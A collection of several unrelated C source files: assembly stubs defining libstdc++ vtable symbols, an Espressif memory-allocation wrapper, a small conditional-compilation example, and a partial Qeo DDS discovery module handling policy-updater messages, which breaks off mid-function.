__asm__(".globl _ZTVSt13bad_exception; .pushsection .data; .type _ZTVSt13bad_exception,@object; .size _ZTVSt13bad_exception, 20; _ZTVSt13bad_exception: .long 0; .popsection");
__asm__(".globl _ZTVSt13basic_filebufIcSt11char_traitsIcEE; .pushsection .data; .type _ZTVSt13basic_filebufIcSt11char_traitsIcEE,@object; .size _ZTVSt13basic_filebufIcSt11char_traitsIcEE, 64; _ZTVSt13basic_filebufIcSt11char_traitsIcEE: .long 0; .popsection");
__asm__(".globl _ZTVSt13basic_filebufIwSt11char_traitsIwEE; .pushsection .data; .type _ZTVSt13basic_filebufIwSt11char_traitsIwEE,@object; .size _ZTVSt13basic_filebufIwSt11char_traitsIwEE, 64; _ZTVSt13basic_filebufIwSt11char_traitsIwEE: .long 0; .popsection");
__asm__(".globl _ZTVSt13basic_fstreamIcSt11char_traitsIcEE; .pushsection .data; .type _ZTVSt13basic_fstreamIcSt11char_traitsIcEE,@object; .size _ZTVSt13basic_fstreamIcSt11char_traitsIcEE, 60; _ZTVSt13basic_fstreamIcSt11char_traitsIcEE: .long 0; .popsection");
__asm__(".globl _ZTVSt13basic_fstreamIwSt11char_traitsIwEE; .pushsection .data; .type _ZTVSt13basic_fstreamIwSt11char_traitsIwEE,@object; .size _ZTVSt13basic_fstreamIwSt11char_traitsIwEE, 60; _ZTVSt13basic_fstreamIwSt11char_traitsIwEE: .long 0; .popsection");
__asm__(".globl _ZTVSt13basic_istreamIwSt11char_traitsIwEE; .pushsection .data; .type _ZTVSt13basic_istreamIwSt11char_traitsIwEE,@object; .size _ZTVSt13basic_istreamIwSt11char_traitsIwEE, 40; _ZTVSt13basic_istreamIwSt11char_traitsIwEE: .long 0; .popsection");
__asm__(".globl _ZTVSt13basic_ostreamIwSt11char_traitsIwEE; .pushsection .data; .type _ZTVSt13basic_ostreamIwSt11char_traitsIwEE,@object; .size _ZTVSt13basic_ostreamIwSt11char_traitsIwEE, 40; _ZTVSt13basic_ostreamIwSt11char_traitsIwEE: .long 0; .popsection");
__asm__(".globl _ZTVSt13runtime_error; .pushsection .data; .type _ZTVSt13runtime_error,@object; .size _ZTVSt13runtime_error, 20; _ZTVSt13runtime_error: .long 0; .popsection");
__asm__(".globl _ZTVSt14basic_ifstreamIcSt11char_traitsIcEE; .pushsection .data; .type _ZTVSt14basic_ifstreamIcSt11char_traitsIcEE,@object; .size _ZTVSt14basic_ifstreamIcSt11char_traitsIcEE, 40; _ZTVSt14basic_ifstreamIcSt11char_traitsIcEE: .long 0; .popsection");
__asm__(".globl _ZTVSt14basic_ifstreamIwSt11char_traitsIwEE; .pushsection .data; .type _ZTVSt14basic_ifstreamIwSt11char_traitsIwEE,@object; .size _ZTVSt14basic_ifstreamIwSt11char_traitsIwEE, 40; _ZTVSt14basic_ifstreamIwSt11char_traitsIwEE: .long 0; .popsection");
__asm__(".globl _ZTVSt14basic_iostreamIwSt11char_traitsIwEE; .pushsection .data; .type _ZTVSt14basic_iostreamIwSt11char_traitsIwEE,@object; .size _ZTVSt14basic_iostreamIwSt11char_traitsIwEE, 60; _ZTVSt14basic_iostreamIwSt11char_traitsIwEE: .long 0; .popsection");
__asm__(".globl _ZTVSt14basic_ofstreamIcSt11char_traitsIcEE; .pushsection .data; .type _ZTVSt14basic_ofstreamIcSt11char_traitsIcEE,@object; .size _ZTVSt14basic_ofstreamIcSt11char_traitsIcEE, 40; _ZTVSt14basic_ofstreamIcSt11char_traitsIcEE: .long 0; .popsection");
__asm__(".globl _ZTVSt14basic_ofstreamIwSt11char_traitsIwEE; .pushsection .data; .type _ZTVSt14basic_ofstreamIwSt11char_traitsIwEE,@object; .size _ZTVSt14basic_ofstreamIwSt11char_traitsIwEE, 40; _ZTVSt14basic_ofstreamIwSt11char_traitsIwEE: .long 0; .popsection");
__asm__(".globl _ZTVSt14codecvt_bynameIcc11__mbstate_tE; .pushsection .data; .type _ZTVSt14codecvt_bynameIcc11__mbstate_tE,@object; .size _ZTVSt14codecvt_bynameIcc11__mbstate_tE, 44; _ZTVSt14codecvt_bynameIcc11__mbstate_tE: .long 0; .popsection");
__asm__(".globl _ZTVSt14codecvt_bynameIwc11__mbstate_tE; .pushsection .data; .type _ZTVSt14codecvt_bynameIwc11__mbstate_tE,@object; .size _ZTVSt14codecvt_bynameIwc11__mbstate_tE, 44; _ZTVSt14codecvt_bynameIwc11__mbstate_tE: .long 0; .popsection");
__asm__(".globl _ZTVSt14collate_bynameIcE; .pushsection .data; .type _ZTVSt14collate_bynameIcE,@object; .size _ZTVSt14collate_bynameIcE, 28; _ZTVSt14collate_bynameIcE: .long 0; .popsection");
__asm__(".globl _ZTVSt14collate_bynameIwE; .pushsection .data; .type _ZTVSt14collate_bynameIwE,@object; .size _ZTVSt14collate_bynameIwE, 28; _ZTVSt14collate_bynameIwE: .long 0; .popsection");
__asm__(".globl _ZTVSt14overflow_error; .pushsection .data; .type _ZTVSt14overflow_error,@object; .size _ZTVSt14overflow_error, 20; _ZTVSt14overflow_error: .long 0; .popsection");
__asm__(".globl _ZTVSt15basic_streambufIcSt11char_traitsIcEE; .pushsection .data; .type _ZTVSt15basic_streambufIcSt11char_traitsIcEE,@object; .size _ZTVSt15basic_streambufIcSt11char_traitsIcEE, 64; _ZTVSt15basic_streambufIcSt11char_traitsIcEE: .long 0; .popsection");
__asm__(".globl _ZTVSt15basic_streambufIwSt11char_traitsIwEE; .pushsection .data; .type _ZTVSt15basic_streambufIwSt11char_traitsIwEE,@object; .size _ZTVSt15basic_streambufIwSt11char_traitsIwEE, 64; _ZTVSt15basic_streambufIwSt11char_traitsIwEE: .long 0; .popsection");
__asm__(".globl _ZTVSt15basic_stringbufIcSt11char_traitsIcESaIcEE; .pushsection .data; .type _ZTVSt15basic_stringbufIcSt11char_traitsIcESaIcEE,@object; .size _ZTVSt15basic_stringbufIcSt11char_traitsIcESaIcEE, 64; _ZTVSt15basic_stringbufIcSt11char_traitsIcESaIcEE: .long 0; .popsection");
__asm__(".globl _ZTVSt15basic_stringbufIwSt11char_traitsIwESaIwEE; .pushsection .data; .type _ZTVSt15basic_stringbufIwSt11char_traitsIwESaIwEE,@object; .size _ZTVSt15basic_stringbufIwSt11char_traitsIwESaIwEE, 64; _ZTVSt15basic_stringbufIwSt11char_traitsIwESaIwEE: .long 0; .popsection");
__asm__(".globl _ZTVSt15messages_bynameIcE; .pushsection .data; .type _ZTVSt15messages_bynameIcE,@object; .size _ZTVSt15messages_bynameIcE, 28; _ZTVSt15messages_bynameIcE: .long 0; .popsection");
__asm__(".globl _ZTVSt15messages_bynameIwE; .pushsection .data; .type _ZTVSt15messages_bynameIwE,@object; .size _ZTVSt15messages_bynameIwE, 28; _ZTVSt15messages_bynameIwE: .long 0; .popsection");
__asm__(".globl _ZTVSt15numpunct_bynameIcE; .pushsection .data; .type _ZTVSt15numpunct_bynameIcE,@object; .size _ZTVSt15numpunct_bynameIcE, 36; _ZTVSt15numpunct_bynameIcE: .long 0; .popsection");
__asm__(".globl _ZTVSt15numpunct_bynameIwE; .pushsection .data; .type _ZTVSt15numpunct_bynameIwE,@object; .size _ZTVSt15numpunct_bynameIwE, 36; _ZTVSt15numpunct_bynameIwE: .long 0; .popsection");
__asm__(".globl _ZTVSt15time_get_bynameIcSt19istreambuf_iteratorIcSt11char_traitsIcEEE; .pushsection .data; .type _ZTVSt15time_get_bynameIcSt19istreambuf_iteratorIcSt11char_traitsIcEEE,@object; .size _ZTVSt15time_get_bynameIcSt19istreambuf_iteratorIcSt11char_traitsIcEEE, 40; _ZTVSt15time_get_bynameIcSt19istreambuf_iteratorIcSt11char_traitsIcEEE: .long 0; .popsection");
__asm__(".globl _ZTVSt15time_get_bynameIwSt19istreambuf_iteratorIwSt11char_traitsIwEEE; .pushsection .data; .type _ZTVSt15time_get_bynameIwSt19istreambuf_iteratorIwSt11char_traitsIwEEE,@object; .size _ZTVSt15time_get_bynameIwSt19istreambuf_iteratorIwSt11char_traitsIwEEE, 40; _ZTVSt15time_get_bynameIwSt19istreambuf_iteratorIwSt11char_traitsIwEEE: .long 0; .popsection");
__asm__(".globl _ZTVSt15time_put_bynameIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEE; .pushsection .data; .type _ZTVSt15time_put_bynameIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEE,@object; .size _ZTVSt15time_put_bynameIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEE, 20; _ZTVSt15time_put_bynameIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEE: .long 0; .popsection");
__asm__(".globl _ZTVSt15time_put_bynameIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEE; .pushsection .data; .type _ZTVSt15time_put_bynameIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEE,@object; .size _ZTVSt15time_put_bynameIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEE, 20; _ZTVSt15time_put_bynameIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEE: .long 0; .popsection");
__asm__(".globl _ZTVSt15underflow_error; .pushsection .data; .type _ZTVSt15underflow_error,@object; .size _ZTVSt15underflow_error, 20; _ZTVSt15underflow_error: .long 0; .popsection");
__asm__(".globl _ZTVSt16invalid_argument; .pushsection .data; .type _ZTVSt16invalid_argument,@object; .size _ZTVSt16invalid_argument, 20; _ZTVSt16invalid_argument: .long 0; .popsection");
__asm__(".globl _ZTVSt17moneypunct_bynameIcLb0EE; .pushsection .data; .type _ZTVSt17moneypunct_bynameIcLb0EE,@object; .size _ZTVSt17moneypunct_bynameIcLb0EE, 52; _ZTVSt17moneypunct_bynameIcLb0EE: .long 0; .popsection");
__asm__(".globl _ZTVSt17moneypunct_bynameIcLb1EE; .pushsection .data; .type _ZTVSt17moneypunct_bynameIcLb1EE,@object; .size _ZTVSt17moneypunct_bynameIcLb1EE, 52; _ZTVSt17moneypunct_bynameIcLb1EE: .long 0; .popsection");
__asm__(".globl _ZTVSt17moneypunct_bynameIwLb0EE; .pushsection .data; .type _ZTVSt17moneypunct_bynameIwLb0EE,@object; .size _ZTVSt17moneypunct_bynameIwLb0EE, 52; _ZTVSt17moneypunct_bynameIwLb0EE: .long 0; .popsection");
__asm__(".globl _ZTVSt17moneypunct_bynameIwLb1EE; .pushsection .data; .type _ZTVSt17moneypunct_bynameIwLb1EE,@object; .size _ZTVSt17moneypunct_bynameIwLb1EE, 52; _ZTVSt17moneypunct_bynameIwLb1EE: .long 0; .popsection");
__asm__(".globl _ZTVSt18basic_stringstreamIcSt11char_traitsIcESaIcEE; .pushsection .data; .type _ZTVSt18basic_stringstreamIcSt11char_traitsIcESaIcEE,@object; .size _ZTVSt18basic_stringstreamIcSt11char_traitsIcESaIcEE, 60; _ZTVSt18basic_stringstreamIcSt11char_traitsIcESaIcEE: .long 0; .popsection");
__asm__(".globl _ZTVSt18basic_stringstreamIwSt11char_traitsIwESaIwEE; .pushsection .data; .type _ZTVSt18basic_stringstreamIwSt11char_traitsIwESaIwEE,@object; .size _ZTVSt18basic_stringstreamIwSt11char_traitsIwESaIwEE, 60; _ZTVSt18basic_stringstreamIwSt11char_traitsIwESaIwEE: .long 0; .popsection");
__asm__(".globl _ZTVSt19basic_istringstreamIcSt11char_traitsIcESaIcEE; .pushsection .data; .type _ZTVSt19basic_istringstreamIcSt11char_traitsIcESaIcEE,@object; .size _ZTVSt19basic_istringstreamIcSt11char_traitsIcESaIcEE, 40; _ZTVSt19basic_istringstreamIcSt11char_traitsIcESaIcEE: .long 0; .popsection");
__asm__(".globl _ZTVSt19basic_istringstreamIwSt11char_traitsIwESaIwEE; .pushsection .data; .type _ZTVSt19basic_istringstreamIwSt11char_traitsIwESaIwEE,@object; .size _ZTVSt19basic_istringstreamIwSt11char_traitsIwESaIwEE, 40; _ZTVSt19basic_istringstreamIwSt11char_traitsIwESaIwEE: .long 0; .popsection");
__asm__(".globl _ZTVSt19basic_ostringstreamIcSt11char_traitsIcESaIcEE; .pushsection .data; .type _ZTVSt19basic_ostringstreamIcSt11char_traitsIcESaIcEE,@object; .size _ZTVSt19basic_ostringstreamIcSt11char_traitsIcESaIcEE, 40; _ZTVSt19basic_ostringstreamIcSt11char_traitsIcESaIcEE: .long 0; .popsection");
__asm__(".globl _ZTVSt19basic_ostringstreamIwSt11char_traitsIwESaIwEE; .pushsection .data; .type _ZTVSt19basic_ostringstreamIwSt11char_traitsIwESaIwEE,@object; .size _ZTVSt19basic_ostringstreamIwSt11char_traitsIwESaIwEE, 40; _ZTVSt19basic_ostringstreamIwSt11char_traitsIwESaIwEE: .long 0; .popsection");
__asm__(".globl _ZTVSt21__ctype_abstract_baseIcE; .pushsection .data; .type _ZTVSt21__ctype_abstract_baseIcE,@object; .size _ZTVSt21__ctype_abstract_baseIcE, 64; _ZTVSt21__ctype_abstract_baseIcE: .long 0; .popsection");
__asm__(".globl _ZTVSt21__ctype_abstract_baseIwE; .pushsection .data; .type _ZTVSt21__ctype_abstract_baseIwE,@object; .size _ZTVSt21__ctype_abstract_baseIwE, 64; _ZTVSt21__ctype_abstract_baseIwE: .long 0; .popsection");
__asm__(".globl _ZTVSt23__codecvt_abstract_baseIcc11__mbstate_tE; .pushsection .data; .type _ZTVSt23__codecvt_abstract_baseIcc11__mbstate_tE,@object; .size _ZTVSt23__codecvt_abstract_baseIcc11__mbstate_tE, 44; _ZTVSt23__codecvt_abstract_baseIcc11__mbstate_tE: .long 0; .popsection");
__asm__(".globl _ZTVSt23__codecvt_abstract_baseIwc11__mbstate_tE; .pushsection .data; .type _ZTVSt23__codecvt_abstract_baseIwc11__mbstate_tE,@object; .size _ZTVSt23__codecvt_abstract_baseIwc11__mbstate_tE, 44; _ZTVSt23__codecvt_abstract_baseIwc11__mbstate_tE: .long 0; .popsection");
__asm__(".globl _ZTVSt5ctypeIcE; .pushsection .data; .type _ZTVSt5ctypeIcE,@object; .size _ZTVSt5ctypeIcE, 48; _ZTVSt5ctypeIcE: .long 0; .popsection");
__asm__(".globl _ZTVSt5ctypeIwE; .pushsection .data; .type _ZTVSt5ctypeIwE,@object; .size _ZTVSt5ctypeIwE, 64; _ZTVSt5ctypeIwE: .long 0; .popsection");
__asm__(".globl _ZTVSt7codecvtIcc11__mbstate_tE; .pushsection .data; .type _ZTVSt7codecvtIcc11__mbstate_tE,@object; .size _ZTVSt7codecvtIcc11__mbstate_tE, 44; _ZTVSt7codecvtIcc11__mbstate_tE: .long 0; .popsection");
__asm__(".globl _ZTVSt7codecvtIwc11__mbstate_tE; .pushsection .data; .type _ZTVSt7codecvtIwc11__mbstate_tE,@object; .size _ZTVSt7codecvtIwc11__mbstate_tE, 44; _ZTVSt7codecvtIwc11__mbstate_tE: .long 0; .popsection");
__asm__(".globl _ZTVSt7collateIcE; .pushsection .data; .type _ZTVSt7collateIcE,@object; .size _ZTVSt7collateIcE, 28; _ZTVSt7collateIcE: .long 0; .popsection");
__asm__(".globl _ZTVSt7collateIwE; .pushsection .data; .type _ZTVSt7collateIwE,@object; .size _ZTVSt7collateIwE, 28; _ZTVSt7collateIwE: .long 0; .popsection");
__asm__(".globl _ZTVSt7num_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEE; .pushsection .data; .type _ZTVSt7num_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEE,@object; .size _ZTVSt7num_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEE, 60; _ZTVSt7num_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEE: .long 0; .popsection");
__asm__(".globl _ZTVSt7num_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEE; .pushsection .data; .type _ZTVSt7num_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEE,@object; .size _ZTVSt7num_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEE, 60; _ZTVSt7num_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEE: .long 0; .popsection");
__asm__(".globl _ZTVSt7num_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEE; .pushsection .data; .type _ZTVSt7num_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEE,@object; .size _ZTVSt7num_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEE, 48; _ZTVSt7num_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEE: .long 0; .popsection");
__asm__(".globl _ZTVSt7num_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEE; .pushsection .data; .type _ZTVSt7num_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEE,@object; .size _ZTVSt7num_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEE, 48; _ZTVSt7num_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEE: .long 0; .popsection");
__asm__(".globl _ZTVSt8bad_cast; .pushsection .data; .type _ZTVSt8bad_cast,@object; .size _ZTVSt8bad_cast, 20; _ZTVSt8bad_cast: .long 0; .popsection");
__asm__(".globl _ZTVSt8ios_base; .pushsection .data; .type _ZTVSt8ios_base,@object; .size _ZTVSt8ios_base, 16; _ZTVSt8ios_base: .long 0; .popsection");
__asm__(".globl _ZTVSt8messagesIcE; .pushsection .data; .type _ZTVSt8messagesIcE,@object; .size _ZTVSt8messagesIcE, 28; _ZTVSt8messagesIcE: .long 0; .popsection");
__asm__(".globl _ZTVSt8messagesIwE; .pushsection .data; .type _ZTVSt8messagesIwE,@object; .size _ZTVSt8messagesIwE, 28; _ZTVSt8messagesIwE: .long 0; .popsection");
__asm__(".globl _ZTVSt8numpunctIcE; .pushsection .data; .type _ZTVSt8numpunctIcE,@object; .size _ZTVSt8numpunctIcE, 36; _ZTVSt8numpunctIcE: .long 0; .popsection");
__asm__(".globl _ZTVSt8numpunctIwE; .pushsection .data; .type _ZTVSt8numpunctIwE,@object; .size _ZTVSt8numpunctIwE, 36; _ZTVSt8numpunctIwE: .long 0; .popsection");
__asm__(".globl _ZTVSt8time_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEE; .pushsection .data; .type _ZTVSt8time_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEE,@object; .size _ZTVSt8time_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEE, 40; _ZTVSt8time_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEE: .long 0; .popsection");
__asm__(".globl _ZTVSt8time_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEE; .pushsection .data; .type _ZTVSt8time_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEE,@object; .size _ZTVSt8time_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEE, 40; _ZTVSt8time_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEE: .long 0; .popsection");
__asm__(".globl _ZTVSt8time_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEE; .pushsection .data; .type _ZTVSt8time_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEE,@object; .size _ZTVSt8time_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEE, 20; _ZTVSt8time_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEE: .long 0; .popsection");
__asm__(".globl _ZTVSt8time_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEE; .pushsection .data; .type _ZTVSt8time_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEE,@object; .size _ZTVSt8time_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEE, 20; _ZTVSt8time_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEE: .long 0; .popsection");
__asm__(".globl _ZTVSt9bad_alloc; .pushsection .data; .type _ZTVSt9bad_alloc,@object; .size _ZTVSt9bad_alloc, 20; _ZTVSt9bad_alloc: .long 0; .popsection");
__asm__(".globl _ZTVSt9basic_iosIcSt11char_traitsIcEE; .pushsection .data; .type _ZTVSt9basic_iosIcSt11char_traitsIcEE,@object; .size _ZTVSt9basic_iosIcSt11char_traitsIcEE, 16; _ZTVSt9basic_iosIcSt11char_traitsIcEE: .long 0; .popsection");
__asm__(".globl _ZTVSt9basic_iosIwSt11char_traitsIwEE; .pushsection .data; .type _ZTVSt9basic_iosIwSt11char_traitsIwEE,@object; .size _ZTVSt9basic_iosIwSt11char_traitsIwEE, 16; _ZTVSt9basic_iosIwSt11char_traitsIwEE: .long 0; .popsection");
__asm__(".globl _ZTVSt9exception; .pushsection .data; .type _ZTVSt9exception,@object; .size _ZTVSt9exception, 20; _ZTVSt9exception: .long 0; .popsection");
__asm__(".globl _ZTVSt9money_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEE; .pushsection .data; .type _ZTVSt9money_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEE,@object; .size _ZTVSt9money_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEE, 24; _ZTVSt9money_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEE: .long 0; .popsection");
__asm__(".globl _ZTVSt9money_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEE; .pushsection .data; .type _ZTVSt9money_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEE,@object; .size _ZTVSt9money_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEE, 24; _ZTVSt9money_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEE: .long 0; .popsection");
__asm__(".globl _ZTVSt9money_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEE; .pushsection .data; .type _ZTVSt9money_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEE,@object; .size _ZTVSt9money_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEE, 24; _ZTVSt9money_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEE: .long 0; .popsection");
__asm__(".globl _ZTVSt9money_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEE; .pushsection .data; .type _ZTVSt9money_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEE,@object; .size _ZTVSt9money_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEE, 24; _ZTVSt9money_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEE: .long 0; .popsection");
__asm__(".globl _ZTVSt9type_info; .pushsection .data; .type _ZTVSt9type_info,@object; .size _ZTVSt9type_info, 32; _ZTVSt9type_info: .long 0; .popsection");
|
the_stack_data/84542.c | /*
* ESPRESSIF MIT License
*
* Copyright (c) 2019 <ESPRESSIF SYSTEMS (SHANGHAI) PTE LTD>
*
* Permission is hereby granted for use on ESPRESSIF SYSTEMS products only, in which case,
* it is free of charge, to any person obtaining a copy of this software and associated
* documentation files (the "Software"), to deal in the Software without restriction, including
* without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense,
* and/or sell copies of the Software, and to permit persons to whom the Software is furnished
* to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all copies or
* substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS
* FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR
* COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER
* IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
* CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*
*/
#include <stdlib.h>
void * hap_platform_memory_malloc(size_t size)
{
return malloc(size);
}
void * hap_platform_memory_calloc(size_t count, size_t size)
{
return calloc(count, size);
}
void hap_platform_memory_free(void *ptr)
{
free(ptr);
}
|
the_stack_data/192329991.c | /* ifdef.c -- uses conditional compilation */
#include <stdio.h>
#define JUST_CHECKING
#define LIMIT 4
int main(void)
{
int i;
int total = 0;
for (i = 1; i <= LIMIT; i++)
{
total += 2*i*i + 1;
#ifdef JUST_CHECKING
printf("i=%d, running total = %d\n", i, total);
#endif
}
printf("Grand total = %d\n", total);
return 0;
}
|
the_stack_data/165766129.c | /*
* Copyright (c) 2016 - Qeo LLC
*
* The source code form of this Qeo Open Source Project component is subject
* to the terms of the Clear BSD license.
*
* You can redistribute it and/or modify it under the terms of the Clear BSD
* License (http://directory.fsf.org/wiki/License:ClearBSD). See LICENSE file
* for more details.
*
* The Qeo Open Source Project also includes third party Open Source Software.
* See LICENSE file for more details.
*/
/* disc_policy_updater.c -- Implements the Policy updater message procedures for discovery. */
#ifdef DDS_QEO_TYPES
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#ifdef _WIN32
#else
#include <unistd.h>
#endif
#include "error.h"
#include "log.h"
#include "dds_data.h"
#include "domain.h"
#include "dds.h"
#include "list.h"
#include "dds_data.h"
#include "guard.h"
#include "dds/dds_tsm.h"
#include "dds/dds_dcps.h"
#include "disc.h"
#include "disc_cfg.h"
#include "disc_spdp.h"
#include "disc_priv.h"
#include "disc_ep.h"
#include "disc_qeo.h"
#include "disc_match.h"
#include "disc_policy_updater.h"
int policy_updater = 1;
lock_t part_lock;
typedef struct part_st Part_t;
struct part_st {
Part_t *next;
Part_t *prev;
Timer_t tmr;
Domain_t *dp;
Participant_t *p;
};
typedef struct {
Part_t *head;
Part_t *tail;
} Part_List_t;
static Part_List_t list;
static int list_init = 0;
static void init_list (void)
{
if (!list_init) {
LIST_INIT (list);
}
list_init = 1;
}
static void remove_part_node (Part_t *node);
static void part_to (uintptr_t user)
{
Part_t *node = (Part_t *) user;
Participant_t *p = node->p;
log_printf (DISC_ID, 0, "Policy Updater: inconsistent handshake: deploying safety net\r\n");
disc_ignore_participant (p);
spdp_timeout_participant (p, TICKS_PER_SEC * 2);
}
static Part_t *get_part_node_by_guid_prefix (Domain_t *dp, GuidPrefix_t guid_prefix)
{
Part_t *node;
LIST_FOREACH (list, node)
if (node->dp->domain_id == dp->domain_id &&
node->p &&
!memcmp (&node->p->p_guid_prefix, &guid_prefix, sizeof (GuidPrefix_t)))
return (node);
return (NULL);
}
static Part_t *get_part_node (Participant_t *p)
{
Part_t *node;
LIST_FOREACH (list, node)
if (node->p == p)
return (node);
return (NULL);
}
static Part_t *add_part_node (Domain_t *dp, Participant_t *p, unsigned timer)
{
Part_t *node;
char buf [32];
if (!(node = get_part_node (p))) {
if (!(node = xmalloc (sizeof (Part_t)))) {
return (NULL);
} else {
log_printf (DISC_ID, 0, "Policy Updater: add_part_node for %s\r\n",
guid_prefix_str ((GuidPrefix_t *) &p->p_guid_prefix, buf) );
node->dp = dp;
node->p = p;
tmr_init (&node->tmr, "part_node tmr");
tmr_start_lock (&node->tmr, timer, (uintptr_t) node, part_to, &dp->lock);
LIST_ADD_HEAD (list, *node);
}
}
else
tmr_start (&node->tmr, timer, (uintptr_t) node, part_to);
return (node);
}
static void remove_part_node (Part_t *node)
{
char buf [32];
if (node) {
log_printf (DISC_ID, 0, "Policy Updater: remove_part_node for %s\r\n",
guid_prefix_str ((GuidPrefix_t *) &node->p->p_guid_prefix, buf) );
tmr_stop (&node->tmr);
LIST_REMOVE (list, *node);
xfree (node);
}
}
static POLICY_VERSION_CB cb_fct = NULL;
static DDS_TypeSupport dds_policy_updater_msg_ts;
static const DDS_TypeSupport_meta dds_policy_updater_msg_tsm [] = {
{ CDR_TYPECODE_STRUCT, TSMFLAG_KEY|TSMFLAG_DYNAMIC, "PolicyUpdaterMessageData", sizeof (PolicyUpdaterMessageData), 0, 2, 0, NULL },
{ CDR_TYPECODE_ARRAY, TSMFLAG_KEY, "participantGuidPrefix", 0, 0, sizeof (GuidPrefix_t), 0, NULL },
{ CDR_TYPECODE_OCTET, 0, NULL, 0, 0, 0, 0, NULL },
{ CDR_TYPECODE_ULONGLONG, 0, "version", 0, offsetof (PolicyUpdaterMessageData, version), 0, 0, NULL }
};
/* policy_updater_data_event -- Receive a Policy Message from a remote participant. */
void policy_updater_data_event (Reader_t *rp, NotificationType_t t, int secure)
{
Domain_t *dp = rp->r_subscriber->domain;
ChangeData_t change;
Participant_t *pp;
Part_t *node;
PolicyUpdaterMessageData *info = NULL;
PolicyUpdaterMessageData info2;
InfoType_t type;
int error;
unsigned nchanges;
ARG_NOT_USED (secure)
if (t != NT_DATA_AVAILABLE)
return;
rp->r_status &= ~DDS_DATA_AVAILABLE_STATUS;
do {
nchanges = 1;
/*dtrc_print0 ("PMSG: get samples");*/
error = disc_get_data (rp, &change);
if (error) {
/*dtrc_print0 ("- none\r\n");*/
break;
}
/*dtrc_print1 ("- valid(%u)\r\n", change.kind);*/
if (change.kind != ALIVE) {
error = hc_get_key (rp->r_cache, change.h, &info2, 0);
if (error) {
warn_printf ("Policy_Updater: can't get key on dispose!");
continue;
}
type = EI_DELETE;
/* Fall back mechanism for inconsistent handshake is no longer needed */
log_printf (DISC_ID, 0, "Policy Updater: !ALIVE\r\n");
lock_take (part_lock);
node = get_part_node_by_guid_prefix (dp, info2.participantGuidPrefix);
remove_part_node (node);
lock_release (part_lock);
/* call callback function with right parameters */
if (cb_fct)
(*cb_fct) (&info2.participantGuidPrefix, 0, (int) type);
hc_inst_free (rp->r_cache, change.h);
continue;
}
else {
if (change.is_new)
type = EI_NEW;
else
type = EI_UPDATE;
info = change.data;
}
pp = entity_participant (change.writer);
if (!pp || /* Not found. */
pp == &dp->participant || /* Own sent info. */
entity_ignored (pp->p_flags)) { /* Ignored. */
hc_inst_free (rp->r_cache, change.h);
continue; /* Filter out unneeded info. */
}
/* If it's a liveliness indication, then propagate it. */
if (info) {
/* Fall back mechanism for inconsistent handshake is no longer needed */
log_printf (DISC_ID, 0, "Policy updater: ALIVE\r\n");
lock_take (part_lock);
node = get_part_node_by_guid_prefix (dp, info->participantGuidPrefix);
